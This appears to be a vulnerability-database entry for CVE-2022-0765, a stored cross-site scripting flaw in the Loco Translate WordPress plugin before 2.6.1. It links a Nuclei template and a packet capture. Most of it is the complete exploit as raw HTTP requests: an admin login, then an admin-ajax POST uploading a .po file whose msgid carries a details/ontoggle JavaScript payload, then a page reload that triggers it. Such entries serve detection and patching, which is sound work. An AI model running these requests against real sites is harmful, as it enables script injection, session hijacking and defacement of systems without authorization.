| Title | WordPress Loco Translate < 2.6.1 - Cross-Site Scripting |
|---|---|
| Author | 0x_Akoko |
| Severity | Medium |
| Impact | Attackers can execute arbitrary JavaScript in the context of the admin panel, potentially leading to session hijacking or defacement. |
| Remediation | Update to version 2.6.1 or later. |
| CVSS Score | 5.4 |
| EPSS Score | 0.10813 |
| CVE ID | CVE-2022-0765 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 wordpress wp wp-plugin xss loco-translate authenticated |
Loco Translate WordPress plugin before 2.6.1 contains a stored cross-site scripting vulnerability caused by improper removal of inline events from source translation strings, allowing authenticated users to inject arbitrary JavaScript payloads.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15 AlohaBrowser/7.6.0
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Accept-Encoding: gzip
log=VTG3n8&pwd=rdL2Wo&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin.php?path=plugins%2Floco-translate%2Flanguages%2Floco-translate.pot&bundle=loco-translate%2Floco.php&domain=loco-translate&page=loco-plugin&action=file-edit HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/140.0.2 (x64 de)
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; nl-nl) AppleWebKit/527+ (KHTML, like Gecko) Version/3.1.1 Safari/525.20
Connection: close
Content-Length: 1115
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXssTest
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
------WebKitFormBoundaryXssTest
Content-Disposition: form-data; name="locale"
------WebKitFormBoundaryXssTest
Content-Disposition: form-data; name="path"
plugins/loco-translate/languages/loco-translate.pot
------WebKitFormBoundaryXssTest
Content-Disposition: form-data; name="bundle"
plugin.loco-translate/loco.php
------WebKitFormBoundaryXssTest
Content-Disposition: form-data; name="domain"
loco-translate
------WebKitFormBoundaryXssTest
Content-Disposition: form-data; name="po"; filename="undefined"
Content-Type: application/x-gettext
msgid ""
msgstr ""
"Project-Id-Version: Loco Translate\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
msgid "\">'><details/open/ontoggle=alert(document.domain)>"
msgstr ""
------WebKitFormBoundaryXssTest
Content-Disposition: form-data; name="action"
loco_json
------WebKitFormBoundaryXssTest
Content-Disposition: form-data; name="route"
save
------WebKitFormBoundaryXssTest
Content-Disposition: form-data; name="loco-nonce"
SvcCZ6
------WebKitFormBoundaryXssTest--
GET /wp-admin/admin.php?path=plugins%2Floco-translate%2Flanguages%2Floco-translate.pot&bundle=loco-translate%2Floco.php&domain=loco-translate&page=loco-plugin&action=file-edit HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0765.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0765.pcap
N/AN/A